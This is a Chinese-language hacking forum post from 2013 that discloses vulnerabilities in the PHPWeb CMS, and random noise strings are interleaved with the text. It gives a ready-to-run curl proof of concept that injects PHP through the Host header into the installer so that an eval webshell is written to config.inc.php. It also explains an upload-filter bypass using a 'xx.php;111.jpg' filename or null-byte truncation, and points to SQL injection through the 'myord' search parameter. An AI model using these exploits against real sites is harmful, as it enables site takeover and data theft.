找回密码
 立即注册
查看: 3185|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:, Z7 _* _* j  S( ?$ E
' [8 P& C# o3 X4 U0 l8 T
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码* g) F2 \6 k' Y/ v

; B! f6 ^6 r9 Z  r8 L鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
  @( q* }2 n, x) Z' J# j: G# y鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 d, j4 |3 ]$ C' y8 p ' U. K1 i1 Z6 W* I% X! K
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响( F/ J% M* T3 X* v7 L

! Z+ `( V% w" M; V& Q分析:
) y3 |1 @& Q: T. l7 q5 ^! i) L5 ]
$ K$ A3 L1 V' D9 [! l* e * d3 @9 t- d6 C) H9 z( X
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, G1 Q9 Q6 C4 e1 o! ?
9 n( {/ F( |+ D3 `: v! [
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
) w9 ?! [% N+ \( f* J3 I8 P                                            $filestr=str_replace(" ","",$filestr);
! X9 q  e; r8 w1 e( b; r                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
+ a% m+ R  {% Z( v                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: a8 D- O/ v* c9 g# M# |                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);5 {# _: l  Q% E
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
$ i; Q- J1 V2 D                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 {2 e4 L; i; [: X
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);1 I+ @! M' A6 M, d4 a5 a! j
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
+ B, U/ D9 l/ Q1 j 4 v: @# m/ X! X- o3 ^4 h6 @7 Q; {
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
/ P& p! P" k2 [9 E3 D$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
1 t5 a' t5 n) ?* g4 `- h ( |( l/ _- n/ Z+ c0 K( v( B
poc:
7 G5 ^% s: s/ P3 F8 e) `) Q$ R * Z7 l4 k! n1 g+ P
?5 m0 V" ?) C8 q2 D% g4 Z  }, f0 X
1
* z" G& V. d9 f9 g8 k5 Ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": h9 k3 B% A: w! A2 Y! b9 U2 O
shell地址: /config.inc.php
+ M2 s$ d7 ^3 K  r4 Z. y跟之前的 phpcms一样 需要远程数据库2 c' N6 i3 R- ?: K
7 T+ W( Q8 i. A* Q* j
——————————————————–
6 R# y* j+ B3 L$ D上传漏洞(需要进后台):8 ]! q+ h' R3 ?1 k2 j
漏洞文件: /kedit/upload_cgi/upload.php; H. B* @- ~" l! S% i) O8 ]9 g9 R
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用+ N; M" G) d8 d1 S2 K
; J1 S+ @- l0 x+ {6 R

( z4 H: G! N5 }  h2 s9 B/ E<?php. g$ _4 Y1 C& @& y: B, w
    define("ROOTPATH", "../../");
1 b# o, G: {+ W; y    include(ROOTPATH."includes/admin.inc.php");
$ v7 t, P" x  t8 D9 e9 R  w, k    NeedAuth(0);
0 `" N: M& N3 n. ]; o4 [( M9 R
# [" y9 x' m# b% X+ g2 C    $dt=date("Ymd",time());
6 |7 h. d2 |( m    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){7 K" k  g) O0 ]9 |" |1 Y' T% f9 j
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
+ w8 a8 g9 i( w/ X' w    }( q/ M4 h+ Z8 |) x0 o4 }

" R1 Y# u  x0 t9 X( x+ z% _8 |    //文件保存目录路径
% w" f3 ]) ~# A3 I: |    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';. U, ?$ J6 D; @9 C
    echo $save_path;
' y6 j3 P- c3 a' R( [$ A; i    //文件保存目录URL; p  K+ \4 [% W- H6 D
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';3 e# ?4 }& U% U9 |

/ d' y% s  b) s" p    //定义允许上传的文件扩展名7 J, Z; `$ l; y2 y+ O" T
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀& C" G% n# Y9 x' M
0 p2 X1 n$ I9 `) ^
    //最大文件大小' z% A. `) K, S4 M# y# V
    $max_size = 1000000;6 @9 k) H$ l/ Y) r, e1 I$ M

: {  r8 t6 F9 r3 {. c0 W2 B    //更改目录权限, E5 O" q; b0 x4 @
    @mkdir($save_path, 0777);
% o& B3 u& D4 \8 g& v2 v
( B$ V0 d6 g6 h- O% T    //文件的全部路径3 v, D3 j2 O1 \) G4 O6 ^
    $file_path = $save_path.$_POST['fileName'];   //保存文件名* ]$ J% a8 J. n

/ n- g; B5 r, Y4 X  V0 P    //文件URL4 W3 K' ?2 X2 `
    $file_url = $save_url.$_POST['fileName'];
! b7 @* z1 U+ {2 \3 I//有上传文件时% P7 V# T0 l" h- \
    if (empty($_FILES) === false) {( F9 `6 K& ~$ Y

0 I9 z0 n0 J  V8 L, F            //原文件名( b' [' }5 T& s" }
            $file_name = $_FILES['fileData']['name'];
1 S' W( K5 O) \! Q            //服务器上临时文件名
! y, k. h/ ?! h& h- W            $tmp_name = $_FILES['fileData']['tmp_name'];5 I9 l. [3 ~- d& `" Q% J, @! h
            //文件大小
3 }7 D  E4 t3 s) n$ p& U5 w* v            $file_size = $_FILES['fileData']['size'];
1 _$ ~+ [1 P1 A) P5 Z* T            //检查目录* L4 S: B' T1 z& Z+ n
            if (@is_dir($save_path) === false) {
- e, t9 H! d% l. k1 E$ ?. Y                    alert("上传目录不存在。");
& m2 Y% X1 o4 p! u& ~            }1 Z- |8 d5 B7 U+ ^1 d9 c
            //检查目录写权限
1 I- k9 ?2 W- {2 Z% f! K            if (@is_writable($save_path) === false) {
9 V: k1 n# }. w% A                    alert("上传目录没有写权限。");
) k6 A- t9 A; _            }
- u. y: ^( V8 h% {0 u            //检查是否已上传
9 T: X, o9 T, v% _            if (@is_uploaded_file($tmp_name) === false) {# e' ?1 P8 G2 k5 W
                    alert("临时文件可能不是上传文件。");
% B/ k& l) v: }5 s7 K) z4 c. Z            }! j6 Q$ V# o3 t. Q3 ^. @
            //检查文件大小
# Z+ Q: ~; d+ D            if ($file_size > $max_size) {  O6 ~* J: t6 o/ v
                    alert("上传文件大小超过限制。");
- e, P6 P# ~& o6 W            }
6 R) t9 B7 F! r7 e) K: g. B            //获得文件扩展名9 z) I8 v$ ~# W  c, h
            $temp_arr = explode(".", $_POST['fileName']);
7 m6 S( a9 E; C' w* \' Y; c7 s1 j            $file_ext = array_pop($temp_arr);
% T1 \/ V# R- O, P            $file_ext = trim($file_ext);6 m( F! [- f# f7 {
            $file_ext = strtolower($file_ext);
/ B( K: [/ _; p8 j4 | " a# e* N" s& j: a4 b' u$ z
            //检查扩展名   
) K7 r4 L( D% q6 r8 \1 y            if (in_array($file_ext, $ext_arr) === false) {     
9 a% @6 u+ L3 }8 y. C                    alert("上传文件扩展名是不允许的扩展名。");
9 Y- }: T3 F2 ]4 k7 i" e            }
, o8 a- T. x1 I
1 D: `% x9 ~3 ^7 ~5 d' N            //移动文件   $ u! q- V& l+ d
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^  j: d/ o2 R: I
            if (move_uploaded_file($tmp_name, $file_path) === false) {$ D! b3 `' n+ G4 U  V+ y
                    alert("上传文件失败。");
5 n' q' z$ E& [6 V4 P+ Q8 g            }2 r4 y7 C4 H4 K* L- S- y3 G
. p2 U- P0 q' n- {$ G7 x
            @chmod($file_path,0666);
3 x) o0 G  \& E1 i" |9 V
7 }4 A) s0 }. ]1 N( o    ?>
; u2 [7 K4 ?7 d) M# a# l# ]$ ^抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
8 A% W: X9 U8 ?, Y: ?, D . v( x3 V1 Q3 @% O1 \
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
! k3 l+ ?' @1 D% c) J  @ 0 l' c  B( e+ v' s' y/ E
——————————————————. _0 ^( c( H. N% t6 |
注入漏洞:
+ J* \9 |6 C' G7 d& l" {/ z漏洞文件:search/module/search.php8 ]  E$ O+ M5 b! Z0 f4 f, P
/search/index.php?key=1&myord=1 [sqlinjection]; d! Y' ?9 u: ~( X
' G* r: s. n& w$ ^9 d' H

7 _* z* I  a% G5 E2 V- [<?php
% g$ O0 f% @2 U& _   //       ... 省略 n 行...
7 l) Q" G) K" W5 F) X  ], C   //第18行:: F" l, W/ g# [. j+ t6 C$ [" Q' \& Y
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
4 J* o. |3 _, J: S$ V; l           $page=htmlspecialchars($_GET["page"]);: h( p! d: \3 V
           $myord=htmlspecialchars($_GET["myord"]);: R& d' ], L' y- w9 j- Q# K( O& Q4 U

) A0 Y/ }6 C0 p  U. a# ^" t0 C& v   //       ... 省略 n 行...0 w$ m. b3 [) \- i
   $key,$myord 两个参数带入查询
; A3 [1 T1 ]: ?* |! B, z   //第47行 $key:. B4 s5 T( s9 V9 `. s
, m$ t1 x5 h4 h* H! k8 `- t& N# M( H
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..7 P  [! P! p1 d2 x

5 [( m" a) H3 Z. T: h* Z0 @. E   //第197行 $myord/ ^/ E) @6 j; ^: w" I
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
1 N5 Y' {0 K$ F4 X/ O2 M
. b# e7 I# ^6 z  M- v   ?>
6 X9 k# X' c- r3 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表